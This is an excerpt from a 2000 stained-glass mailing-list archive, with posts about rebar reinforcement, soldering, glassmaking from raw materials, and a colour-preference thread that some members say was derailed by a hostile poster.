experiment; I was bored. Perhaps I was hoping to melt the silicon dioxide and
make fused silica!

Not surprisingly, it didn't work. A minority of the granules in the sand did
melt and become somewhat glassy in appearance, but these were the dark and
red-colored impurities, not the white majority which I assume was the silicon
dioxide; nothing at all happened to these grains. I guess that these grains
were totally unaffected by the heat is somewhat surprising though; isn't the
propane-oxy flame hotter than the melting point of SiO2?

Has anyone here made glass in a crucible from raw materials? Not pre-mixed
batch from a hot-glass company, but from raw chemicals: SiO2, borax, lime,
whatever? Sounds like fun!


--DavidC
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From: Sheila <sheila_oh@yahoo.com>
To: Patrick Kelly <pkelly@n-link.com>, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: RE: The color purple
Date: Tue, 5 Dec 2000 09:21:02 -0800 (PST)
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I too am a lurker more than a chatter.  Purple
gets my vote.  I wear it almost daily and my
bedroom is lavender and my husband has no problem
with it.  I followed the tutu thread and thought
Patrick did a wonderfully manly job of modeling
it!!  


Sheila lurking in Ohio

P.S. Elmo can have my vote too....but I think we
need a RECOUNT!  I too am LMAO!


--- Patrick Kelly <pkelly@n-link.com> wrote:
> Hello Again everybody.
> 
> My favorite color is also purple and I wear it
> quite a bit as well as pinks,
> magentas, blues, lavendar, etc. As for my
> masculinity... well I am secure in
> it... for others that have an alternate life
> style .... so what.
> 
> For those of you who have been unfortunate
> enough to see me in person and
> know of my prior occupation "prima ballerina in
> a stained glass Tutu"....
> you can relate to my femininity.....ROFLMAO
> 
> 
> Patrick
> Roses and Rainbow
> 
> BTW The Tele Tubbies are neither sex..... I
> just bought a talking La La for
> my grand daughter and its yellow.
> 
> Elmo for President!
> 
> ----
> For subscription changes, please mail to:
> glass-request@bungi.com
> To send to the list,      please mail to:
> glass@bungi.com
> Archives available at
http://www.bungi.com/glass


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From: gjr@bungi.com (Glenna Rand)
Date: Mon, 4 Dec 2000 22:14:36 PST
In-Reply-To: "Darra Cacao"'s message on Dec  4, 15:47.
X-Mailer: Mail User's Shell (7.1.1 5/02/90)
To: dcacao@moreland.k12.ca.us
Subject: Re: New to the art

[In the message entitled "New to the art" on Dec  4, 15:47, "Darra Cacao" writes:]

> 
> I am looking for a stained glass studio in the San Jose, California or
> Fremont, California area.  I have lots of creative ideas for a stained
> glass project, but I've never actually tried the art.  Please help me
> find a studio that offers instruction and equipment for novices.

If you wanted to send this to the whole group,..mail to
glass@bungi.com

I took my classes at the Amaden glass studio,...it's since closed.
There are several classes available in evening classes at the local
adult classes.  Check the yellow pages too!



-- 
Glenna Rand
gjr@bungi.com

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>Talk about glass, or shut up! We don't need this crap!
>
>
actually,I'm finding the reactions very interesting...color sure does
affect emotional response! Purple does not seem to induce harmony, it would
seem!!! 

I love it, the deeper and richer, the better, there's none in my house.
When I meditate, the color purple floods my minds eye almost instantly...so
it's a pleasant color to me...but I live in blue...that's an easy going
color...I like rich deep greens too.  Yellow makes me very upset and edgy,
and red is uncomfortable, but orange makes me feel physically ill and
depressed.

Maybe that is why my blue iris sold so much faster than the purple in the
same design, although the purple got a much stronger reaction when on display.

my friend, who also does glass sees any color with a red tone, (including
reddish purples, reds of all tones and orange) very differently than i do.
To her they are much more subdued, even browned out. We did some color
testing together to see what we experienced...very different reactions and
impact. Some she saw instantly some were very vague.  Wonder if some of our
reactions are due to the varying number of rods and cones in our eyes
giving us varying intensity in our color experience in life and how much
repsonse is from association and culture. 
  
 Guess I'll be getting a few color books and learn a little more.  
Good topic.  
(Ducking slightly and signing off  :-) 
Dee
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From: sonyaamt@mindspring.com
To: glass@bungi.com
Subject: Rebar
Date: Tue, 05 Dec 2000 12:40:42 -0500
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With all your responses regarding reinforcing my 74" x 15" panel and when I saw the enlarged pattern - I know that I need to rebar it.  But I've never made a piece this large and added rebar.  You know no matter how many classes you take, this subject is never really tackled.  So once again I need your help.

After reading the bungi archives, I've gleamed that 

1. rebar is added after the panel is completely soldered - is this correct?  
2.  Also there has been discussion that the rebar actually needs to jut into the frame of the window.  But the panel I am making will be hung in the window not installed because the client may want to move it. So if that is true should the rebar end at the edge of the panel of slightly past it?
3.  How do I cut rebar?  What kind of saw?  I'm a single woman in an apartment so is there a standard saw that I can use to cut rebar and other things like frames, zinc etc.
4.  The design of the panel consists of grapes with bevels on the border.  The width is 15" but the only consistent horizontal line is where the interior design meets the bevels, so I am assuming that I should run 2 rebars (top and bottom) to maintain a consistent look and for strength.
5.  If I used a bunch of strongline both horizontally and vertically through the panel would that be enough strengthening?
6.  Are there any good books or websites that show the rebar process or has a good discussion on how to do it?

Your help is so very greatly appreciated.  I'm not a novice but I have never had to rebar before.  

Thank you!!!

Sonya
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From owner-glass Tue Dec  5 11:02:13 2000
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From: Vern Sila <vsila@uswest.net>
To: glass@bungi.com
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Subject: A person in need of help
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This is directed to "Bob"

There is a pscycologist I would recommend to you.

With an ongoing house full of kids and grandkids, cartoons
seem to dominate the television here.A favorite is "Rugrats"
and there is (child) psycologist named Dr. Lipschitz on that
toon.

A visit to him may be in line for you.

You certainly have stirred the emotions of many, intentional or not.
My prayers are out to you because you certainly need some help
..............and forgiveness.

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From owner-glass Tue Dec  5 12:23:22 2000
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X-Path: acesag.auburn.edu!fdillman
From: Frank Dillman <fdillman@acesag.auburn.edu>
To: Vern Sila <vsila@uswest.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: A person in need of help
Date: Tue, 05 Dec 2000 13:40:29 -0600
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give it a break...... frank

Vern Sila wrote:
> 
> This is directed to "Bob"
> 
> There is a pscycologist I would recommend to you.
> 
> With an ongoing house full of kids and grandkids, cartoons
> seem to dominate the television here.A favorite is "Rugrats"
> and there is (child) psycologist named Dr. Lipschitz on that
> toon.
> 
> A visit to him may be in line for you.
> 
> You certainly have stirred the emotions of many, intentional or not.
> My prayers are out to you because you certainly need some help
> ..............and forgiveness.
> 
> ----
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From owner-glass Tue Dec  5 12:44:59 2000
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From: "Sharon T. Filetti" <stf@erols.com>
To: glass@bungi.com
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Subject: Please unsuscribe
Date: Tue, 5 Dec 2000 14:39:20 -0500
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Please unsuscribe me for now, I can't keep up. Thank you. 

Sharon Filetti
stf@erols.com

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From owner-glass Tue Dec  5 13:32:42 2000
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X-Path: stratus.com!Charlie_Spitzer
From: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: FW: Rebar
Date: Tue, 5 Dec 2000 12:43:12 -0700 
Message-ID: <1970Jan1.000.0>
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the main purpose of rebar is to provide support against gravity sagging your
piece. attaching rebar to the panel only doesn't provide any support at all,
and as a matter of fact, unsupported rebar hastens sagging. the rebar must
be slotted into the vertical frames of the panel. this supports the weight
of the rebar, and the attached panel. for this reason, vertical rebars don't
add to the support, although they do add to the stiffness and aid to prevent
blows to the panel going through.

rebar can be cut with a normal metal hacksaw.

regards,
charlie
phx, az

-----Original Message-----
From: sonyaamt@mindspring.com [mailto:sonyaamt@mindspring.com] 
Sent: Tuesday, December 05, 2000 10:41 AM
To: glass@bungi.com
Subject: Rebar


With all your responses regarding reinforcing my 74" x 15" panel and when I
saw the enlarged pattern - I know that I need to rebar it.  But I've never
made a piece this large and added rebar.  You know no matter how many
classes you take, this subject is never really tackled.  So once again I
need your help.

After reading the bungi archives, I've gleamed that 

1. rebar is added after the panel is completely soldered - is this correct?

2.  Also there has been discussion that the rebar actually needs to jut into
the frame of the window.  But the panel I am making will be hung in the
window not installed because the client may want to move it. So if that is
true should the rebar end at the edge of the panel of slightly past it?
3.  How do I cut rebar?  What kind of saw?  I'm a single woman in an
apartment so is there a standard saw that I can use to cut rebar and other
things like frames, zinc etc.
4.  The design of the panel consists of grapes with bevels on the border.
The width is 15" but the only consistent horizontal line is where the
interior design meets the bevels, so I am assuming that I should run 2
rebars (top and bottom) to maintain a consistent look and for strength.
5.  If I used a bunch of strongline both horizontally and vertically through
the panel would that be enough strengthening?
6.  Are there any good books or websites that show the rebar process or has
a good discussion on how to do it?

Your help is so very greatly appreciated.  I'm not a novice but I have never
had to rebar before.  

Thank you!!!

Sonya
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X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: My response to Bob
Date: Tue, 5 Dec 2000 16:11:59 -0500
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This is a multi-part message in MIME format.

------=_NextPart_000_0053_01C05ED6.18B066C0
Content-Type: text/plain;
	charset="iso-8859-1"
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Nice try "CP" ... or whatever your "real name" is.


Well Bob since you think I am not a real person, please let me take this =
opportunity to introduce myself to you. My full name is Caren Price and =
I am a stained glass hobbyist and I've been with Bungi for 3 years.  If =
you were around when we did profiles you'd know all about me.  But I =
will take the time to enlighten you.  I am a Special Education Teacher =
in Upstate NY.  I have a Master's Degree.  I own my own home.  I do =
volunteer work for many organizations. I have a daughter and a =
significant other. My favorite color is purple and I am also a lesbian.  =
My best friend in the world is a gay man and he and his partner both =
HATE the color purple.  So I guess your theories aren't really proven.  =
I assumed, as was probably intended that men who like purple or wear =
purple clothes are effeminate.  That is stereotypical and prejudicial.  =
Not to mention the comments about the old ladies and hippies, of which I =
am neither. =20
My point in writing to you and to the group is this....everyone is =
entitled to their opinions....I truly believe that.  But when people use =
public forums, no matter what type they are, they run the risk of =
hurting others.  Intentional or not, you hurt and offended me and many =
other people.  Bungi is about stained glass and the people who do it.  =
It's not about making fun of others, name calling, teasing, etc.  If you =
are homophobic that's fine, keep it to yourself.  If you don't like =
hippies, Tinky Winky, or old ladies, fine...keep it to yourself.  That's =
all I am asking....is that too much to expect from a stained glass chat =
list? =20

------=_NextPart_000_0053_01C05ED6.18B066C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>Nice try "CP"=20
... or whatever your "real name" is.</FONT><BR><BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Well Bob since you think I am not a =
real person,=20
please let me take this opportunity to introduce myself to you.&nbsp;My =
full=20
name is Caren Price and&nbsp;I am a stained glass hobbyist and I've been =
with=20
Bungi for 3 years.&nbsp; If you were around when we did profiles you'd =
know all=20
about me.&nbsp; But I will take the time to enlighten you.&nbsp; I am a =
Special=20
Education Teacher in Upstate NY.&nbsp; I have a Master's Degree.&nbsp; I =
own my=20
own home.&nbsp; I do volunteer work for many organizations.&nbsp;I have =
a=20
daughter and a&nbsp;significant other.&nbsp;My favorite color is purple =
and I am=20
also a lesbian.&nbsp; My best friend in the world is a gay man and he =
and his=20
partner both HATE the color purple.&nbsp; So I guess your theories =
aren't really=20
proven.&nbsp; I assumed, as was probably intended that men who like =
purple or=20
wear purple clothes are effeminate.&nbsp; That is stereotypical and=20
prejudicial.&nbsp; Not to mention the comments about the old ladies and =
hippies,=20
of which I am neither.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>My point in writing to you and to the =
group is=20
this....everyone is entitled to their opinions....I truly believe =
that.&nbsp;=20
But when people use public forums, no matter what type they are, they =
run the=20
risk of hurting others.&nbsp; Intentional or not, you hurt and offended =
me and=20
many other people.&nbsp; Bungi is about stained glass and the people who =
do=20
it.&nbsp; It's not about making fun of others, name calling, teasing, =
etc.&nbsp;=20
If you are homophobic that's fine, keep it to yourself.&nbsp; If you =
don't like=20
hippies, Tinky Winky, or old ladies, fine...keep it to yourself.&nbsp; =
That's=20
all I am asking....is that too much to expect from a stained glass chat=20
list?&nbsp; </DIV></FONT></BODY></HTML>

------=_NextPart_000_0053_01C05ED6.18B066C0--

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From owner-glass Tue Dec  5 14:31:42 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Cindy Purola" <cpurola@ameritech.net>,
Content-Type: text/plain;
Subject: RE: Color Harmony book
Date: Tue, 5 Dec 2000 16:59:41 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

want to help people go insane with that color? add real thin red or gold
stripes down the whole thing, you can watch people get dizzy and fall over
^0^ - though by any chance did you give it a lighter trim color, maybe a
creme to soften and "outline" the room? - and is it a large room? - just
wondering.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
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> -----Original Message-----
> From: Cindy Purola [mailto:cpurola@ameritech.net]
> Sent: Tuesday, December 05, 2000 7:47 AM
> To: Stained Glass List
> Subject: Color Harmony book
>
>
>
> Hi Kira,
>   I just picked up a book in our local bookstore
> called:
>
> "Color Harmony Jewels"
> A Guidebook for Creating Great Color Combinations
> by Martha Gill
> ISBN: 1-56496-718-2
>
> I sounds a little like the book you cited.
> It is published by Rockport (www.rockpub.com),
> and on the back of the book shows other color
> books, such as:
>
> Color Harmony Pastels, and Color Harmony Naturals.
>
> I bought it to help me pick colors for my living room.
> (I wanted something different, so I painted the walls
> deep royal blue, and now have to decorate. yikes!)
>
> Going back to lurkdom,
> Cindy
>
> Kira Mason wrote:
> >
> > Hi Mike,
> > Two VERY good and useful books are:
> >
> > "Color Harmony"
> > A Guide To Creative Color Combinations
> > By: Hideaki Chijiiwa
> > ISBN: 0-935603-06-9
> >
> > Sinopsis:  Hideaki Chijiiwa has complied this exciting guide for use by
> > graphic designers, fashion designers, artists and indeed all
> who require to
> > choose combinations of colors for creative effect.  While the central
> > section consists of a very extensive range of different color
> combinations
> > to make choices from, "Color Harmony" in in fact very much more than
> > this....
> >
> > This is a great book, I use it alot.  Then:
> >
> > "Principles of Color Design"
> > By:  Wucius Wong
> > ISBN: 84-252-1377-0
> >
> > I would tell you some of the syns. but it is in Spanish and a little too
> > eary for me to translate (not had my second cup of coffee yet).  It is a
> > good book also, more on the learning side than the one above
> which is great
> > for reference, I use it like a dictionary.
> >
> > Both of these books are directed at your questions.
> >
> > Hope this helps.
> > Kira
> >
> > "Color Harmony" I bought through amazon.com and Principles... I
> bought here
> > in Spain but was translated from English into Spanish.
> ----
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From owner-glass Tue Dec  5 15:09:02 2000
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From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Mike's color study
Date: Tue, 5 Dec 2000 17:19:24 -0500
Message-ID: <1970Jan1.000.0>
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that's probably the reason why i'm attracted to irridescent... it's the
ability to have many colors with just one...



oh yeah, your email address doesn't pop up right, you may want to fix this,
or no one will ever be able to write back to you... ^_^


---Mike Savad

---
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Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
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> -----Original Message-----
> From:
> Sent: Monday, December 04, 2000 5:19 PM
> Subject: Mike's color study
>
>
> Return-Path: <owner-glass@daver.bungi.com>
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>           id
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>           for <esavad@mail.union1.nj.home.com>;
>           Mon, 4 Dec 2000 14:49:35 -0800
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> X-Path: ix.netcom.com!gunnx4
> From: Suzanne Gunn <gunnx4@ix.netcom.com>
> To: glass@bungi.com
> Content-Type: text/plain; charset=x-user-defined
> Subject: Mike's color study
> Date: Mon, 04 Dec 2000 16:18:54 -0600
> Message-ID: <1970Jan1.000.0>
> Precedence: bulk
>
> Hi Mike.
>
> I am drawn to bright, contrasting colors, combined they just seem happy
> to me.
>
>  purple/yellow
>     Turquoise/yellow
>
> Im not sure I really have *a* fav color, my usual response when asked my
> fav color is "the rainbow".
>
> I like colorful things with lots of character.  Just like people.
>
> Suzanne
>
> I wear a lot of blue.
> ----
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---
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glass instruction, and many, many stained glass links.
---
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From owner-glass Tue Dec  5 16:19:10 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: The color purple
Date: Tue, 5 Dec 2000 17:03:12 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

so far purple seems to be the most popular.

i think it has to do with red and blue... 3-d glasses are red and blue. and
i think it has to do something with focusing. i wonder if the purple simply
let's the eyes relax, and that's why so many people seem to like it...

unless of course it's more primal then that, my favorite lollipop is grape,
which is purple.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Sheila [mailto:sheila_oh@yahoo.com]
> Sent: Tuesday, December 05, 2000 12:21 PM
> To: Patrick Kelly; glass@bungi.com
> Subject: RE: The color purple
>
>
> I too am a lurker more than a chatter.  Purple
> gets my vote.  I wear it almost daily and my
> bedroom is lavender and my husband has no problem
> with it.  I followed the tutu thread and thought
> Patrick did a wonderfully manly job of modeling
> it!!
>
>
> Sheila lurking in Ohio
>
> P.S. Elmo can have my vote too....but I think we
> need a RECOUNT!  I too am LMAO!
>
>
> --- Patrick Kelly <pkelly@n-link.com> wrote:
> > Hello Again everybody.
> >
> > My favorite color is also purple and I wear it
> > quite a bit as well as pinks,
> > magentas, blues, lavendar, etc. As for my
> > masculinity... well I am secure in
> > it... for others that have an alternate life
> > style .... so what.
> >
> > For those of you who have been unfortunate
> > enough to see me in person and
> > know of my prior occupation "prima ballerina in
> > a stained glass Tutu"....
> > you can relate to my femininity.....ROFLMAO
> >
> >
> > Patrick
> > Roses and Rainbow
> >
> > BTW The Tele Tubbies are neither sex..... I
> > just bought a talking La La for
> > my grand daughter and its yellow.
> >
> > Elmo for President!
> >
> > ----
> > For subscription changes, please mail to:
> > glass-request@bungi.com
> > To send to the list,      please mail to:
> > glass@bungi.com
> > Archives available at
> http://www.bungi.com/glass
>
>
> __________________________________________________
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From owner-glass Tue Dec  5 16:19:15 2000
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From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: sonyaamt@mindspring.com, glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Rebar
Date: Tue, 05 Dec 2000 16:37:20 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk



sonyaamt@mindspring.com wrote:
> 
> With all your responses regarding reinforcing my 74" x 15" panel and when I saw the enlarged pattern - I know that I need to rebar it.  But I've never made a piece this large and added rebar.  You know no matter how many classes you take, this subject is never really tackled.  So once again I need your help.

Rebar is add after the panel is soldered and puttied.
We steel wool all our panels.  Then we put on the rebar.
After putting on the rebar you will need to clean up the putty that
seeps out from the heat of the soldering.  I use an 800 degree tip.
You may need to steel wool the rebar to clean it up some before
attempting to attach it.

After attaching the rebar wash off the flux.  We patina the rebar then
polish the lead with Weimans metal creme, I wipe it on with a gloved
hand then brush it.  It comes up to a beautiful black shine.  Looks and
feels a lot cleaner than just brushing to finish.

The last thing we do is paint the rebar with clear fingernail polish.
Keeps the rebar from rusting, and getting that yucky white.

We cut rebar with bolt cutters. Cut the ends at an angle.  We have a
grinder for metals that we smooth/round off the ends.

Re your questions about *strong line*, I don't know anything about that.

Good luck.

Suzanne
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From owner-glass Tue Dec  5 17:27:04 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: sonyaamt@mindspring.com, glass@bungi.com
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Rebar
Date: Tue, 05 Dec 2000 16:37:20 -0600
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sonyaamt@mindspring.com wrote:
> 
> With all your responses regarding reinforcing my 74" x 15" panel and when I saw the enlarged pattern - I know that I need to rebar it.  But I've never made a piece this large and added rebar.  You know no matter how many classes you take, this subject is never really tackled.  So once again I need your help.

Rebar is add after the panel is soldered and puttied.
We steel wool all our panels.  Then we put on the rebar.
After putting on the rebar you will need to clean up the putty that
seeps out from the heat of the soldering.  I use an 800 degree tip.
You may need to steel wool the rebar to clean it up some before
attempting to attach it.

After attaching the rebar wash off the flux.  We patina the rebar then
polish the lead with Weimans metal creme, I wipe it on with a gloved
hand then brush it.  It comes up to a beautiful black shine.  Looks and
feels a lot cleaner than just brushing to finish.

The last thing we do is paint the rebar with clear fingernail polish.
Keeps the rebar from rusting, and getting that yucky white.

We cut rebar with bolt cutters. Cut the ends at an angle.  We have a
grinder for metals that we smooth/round off the ends.

Re your questions about *strong line*, I don't know anything about that.

Good luck.

Suzanne
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From owner-glass Tue Dec  5 17:29:07 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: The color purple
Date: Tue, 5 Dec 2000 17:03:12 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

so far purple seems to be the most popular.

i think it has to do with red and blue... 3-d glasses are red and blue. and
i think it has to do something with focusing. i wonder if the purple simply
let's the eyes relax, and that's why so many people seem to like it...

unless of course it's more primal then that, my favorite lollipop is grape,
which is purple.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Sheila [mailto:sheila_oh@yahoo.com]
> Sent: Tuesday, December 05, 2000 12:21 PM
> To: Patrick Kelly; glass@bungi.com
> Subject: RE: The color purple
>
>
> I too am a lurker more than a chatter.  Purple
> gets my vote.  I wear it almost daily and my
> bedroom is lavender and my husband has no problem
> with it.  I followed the tutu thread and thought
> Patrick did a wonderfully manly job of modeling
> it!!
>
>
> Sheila lurking in Ohio
>
> P.S. Elmo can have my vote too....but I think we
> need a RECOUNT!  I too am LMAO!
>
>
> --- Patrick Kelly <pkelly@n-link.com> wrote:
> > Hello Again everybody.
> >
> > My favorite color is also purple and I wear it
> > quite a bit as well as pinks,
> > magentas, blues, lavendar, etc. As for my
> > masculinity... well I am secure in
> > it... for others that have an alternate life
> > style .... so what.
> >
> > For those of you who have been unfortunate
> > enough to see me in person and
> > know of my prior occupation "prima ballerina in
> > a stained glass Tutu"....
> > you can relate to my femininity.....ROFLMAO
> >
> >
> > Patrick
> > Roses and Rainbow
> >
> > BTW The Tele Tubbies are neither sex..... I
> > just bought a talking La La for
> > my grand daughter and its yellow.
> >
> > Elmo for President!
> >
> > ----
> > For subscription changes, please mail to:
> > glass-request@bungi.com
> > To send to the list,      please mail to:
> > glass@bungi.com
> > Archives available at
> http://www.bungi.com/glass
>
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Shopping - Thousands of Stores. Millions of Products.
> http://shopping.yahoo.com/
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Tue Dec  5 17:52:47 2000
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From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: colors and emotions
Date: Tue, 5 Dec 2000 18:33:14 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

lets see if we can't incite a riot over this one....


my goal - at some point - is to arrange colors in a window and either
provoke an inner emotion, or even a subliminal thought. purple seems to be a
good focal point. i'm wondering if anyone has any inner-self-thoughts on
what a color means to them. personally i don't have any one feeling on a
color that i'm aware of, but then again you need a poetic selfness, which i
don't really have.

i want to be able to insert an emotion through color, without anyone really
noticing. to be able to add an accent trim to a window or a box, people
looking at it, thinking that's really nice, for some reason....


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

----
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From owner-glass Tue Dec  5 18:31:19 2000
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From: "Toby" <toby@northlights.co.uk>
To: Sheila <sheila_oh@yahoo.com>
Content-Type: text/enriched; charset=US-ASCII
Subject: RE: The color purple
Date: Wed, 6 Dec 2000 02:00:53 -0000
Message-ID: <200012060213.eB62DPl32322@mercury.nildram.co.uk>
Precedence: bulk

<italic>Simply can't resist this...even though I have  answers to write and 
responsibilities galore elsewhere!

Tu-tu Patrick Kelly is a real "hunk" of a guy; even the XXXL Toby-
T-shirt was too small for him! The Texas T-shirt he gave me, I use 
as a tent when I go camping  ;->  He dances devinely in his glass 
tu-tu and hairy legs and we still have to figure out how to fit him out 
with a stained glass gnomen. Purple colour for Patrick?? Yes - 
most definitely. It'll go well with his shiny head when he is cold in 
winter!!!!

"CP" aka Caren! We love you! That was one hell of a way to "come 
out". As Patrick said - so what! Maybe you have more friends out 
there than you know about. If you are good in making stained 
glass, what the hell does anyone care. The glass passion is the 
one thing that combines us all. That is what makes us all care 
about each other, help each other, and occasionally reach a 
helping and loving hand across oceans and continents.


Which leads me into another subject. Lee Boe is safely back in 
Sarasota - where she belongs. She is not hooked up on e-mail yet 
and she has asked me NOT to divulge her snail-mail address. She 
HAS asked me to contact people who has sent her money. She 
has collected the first few letters from her Medical Practitioner 
yesterday. She has also managed to re-divert ALL her mail to 
Wauchula. Any mail sent there, will obviously take a few days 
longer to reach her. I will start to contact the lovely individuals who 
have sent money to help her. I will do so off-group, as I realize that 
not everyone wants to be broadcast. However, I must say that one 
individual from IGGA has sent a personal significant contribution 
that really choked me.

About the questions concerning her cockatiel "Peaches".... 
Peaches - a delightful and friendly bird, is safe and sound and well 
looked after. 

I am having a telephone appointment with Dr. Ford  - her M. P. on 
Wednesday. Lee has authorised him to answer all the questions I 
might have. A cousin of my friend Jenny, works for one of the 
American Health Insurance Companies (We stayed with her 
parents in St.Augustine in Florida for the last week of our stay in 
USA last year. My kiln was delivered there too - which I had to 
"oik" across to UK, pretending it to be "merely hand-luggage". ) 
We have bomabrded Jenny's cousin with questions these last few 
days. I have a "list" of questions to ask Dr. Ford.As and when I 
have digested it all, I will post more to you.


I do thank you for your lovelely thoughts, mails and help. There are 
even one or two people who have had misubnderstandings with Lee 
over the last 4-5 years who have contacted me wishing to help.

Kris, in particular, thank you.


Come hurricanes, floods, marital problems,  grief, disasters, 
financial trouble, stained glass problems - what a wonderful 
"family" Bungi is!!! It's fun to share good things too.

It's also OK to share fun .


Love to you all!!


Elisabeth 'n Toby in UK




I too am a lurker more than a chatter.  Purple

gets my vote.  I wear it almost daily and my

bedroom is lavender and my husband has no problem

with it.  I followed the tutu thread and thought

Patrick did a wonderfully manly job of modeling

it!!  



Sheila lurking in Ohio


P.S. Elmo can have my vote too....but I think we

need a RECOUNT!  I too am LMAO!



--- Patrick Kelly <<pkelly@n-link.com> wrote:

</italic><color><param>7F00,0000,0000</param>> Hello Again everybody.

> 

> My favorite color is also purple and I wear it

> quite a bit as well as pinks,

> magentas, blues, lavendar, etc. As for my

> masculinity... well I am secure in

> it... for others that have an alternate life

> style .... so what.

> 

> For those of you who have been unfortunate

> enough to see me in person and

> know of my prior occupation "prima ballerina in

> a stained glass Tutu"....

> you can relate to my femininity.....ROFLMAO

> 

> 

> Patrick

> Roses and Rainbow

> 

> BTW The Tele Tubbies are neither sex..... I

> just bought a talking La La for

> my grand daughter and its yellow.

> 

> Elmo for President!

> 

> ----

> For subscription changes, please mail to:

> glass-request@bungi.com

> To send to the list,      please mail to:

> glass@bungi.com

> Archives available at

<italic></color>http://www.bungi.com/glass



__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/

----

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<nofill>
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Tue Dec  5 18:46:47 2000
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X-Path: zoomnet.net!ella
From: "ELLA" <ella@zoomnet.net>
To: <glass@bungi.com>
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Date: Tue, 5 Dec 2000 21:36:10 -0500
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This is a multi-part message in MIME format.

------=_NextPart_000_0039_01C05F03.62266D40
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I thought blue was my favorite color, however since I have been doing =
stained glass I discovered red is my favorite.  Seems like without =
realizing it I manage to get a small piece of red in each piece I do.  I =
am sure this has been covered in the past, but I am a new comer.  I need =
hints on making a neat soldier joint on folded pieces where two =
intersect.  I will have it looking halfway good then I joint another =
line and mess it up.  ella

------=_NextPart_000_0039_01C05F03.62266D40
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I thought blue was my favorite color, =
however since=20
I have been doing stained glass I discovered red is my favorite.&nbsp; =
Seems=20
like without realizing it I manage to get a small piece of red in each =
piece I=20
do.&nbsp; I am sure this has been covered in the past, but I am a new=20
comer.&nbsp; I need hints on making a neat soldier joint on folded =
pieces where=20
two intersect.&nbsp; I will have it looking halfway good then I joint =
another=20
line and mess it up.&nbsp; ella</FONT></DIV></BODY></HTML>

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From owner-glass Tue Dec  5 19:00:37 2000
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From: "RLean" <rlean@cinci.rr.com>
To: <Glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Color Wars
Date: Tue, 5 Dec 2000 16:55:21 -0500
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>^,,^<   >^,,^<   >^,,^<
I recently signed up for this newsletter because I work on my stained =
glass out of my home  The only people with my interests  in glass that I =
have contact with are at the glass shop where I buy my supplies.  I tend =
to feel isolated when working on the stained glass so I thought this =
would be a good way for me to get connected with other people working =
with glass and to get some good tips.

It is disappointing for me to see how a simple question about color =
preference was turned into personal attacks.  I'm interested in support =
and not verbal "warfare".  Have I come to the right place?

I like blues...I wear blues & blacks....my home is done in a lot of =
purple so I guess I like purple too:-)  Robin

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
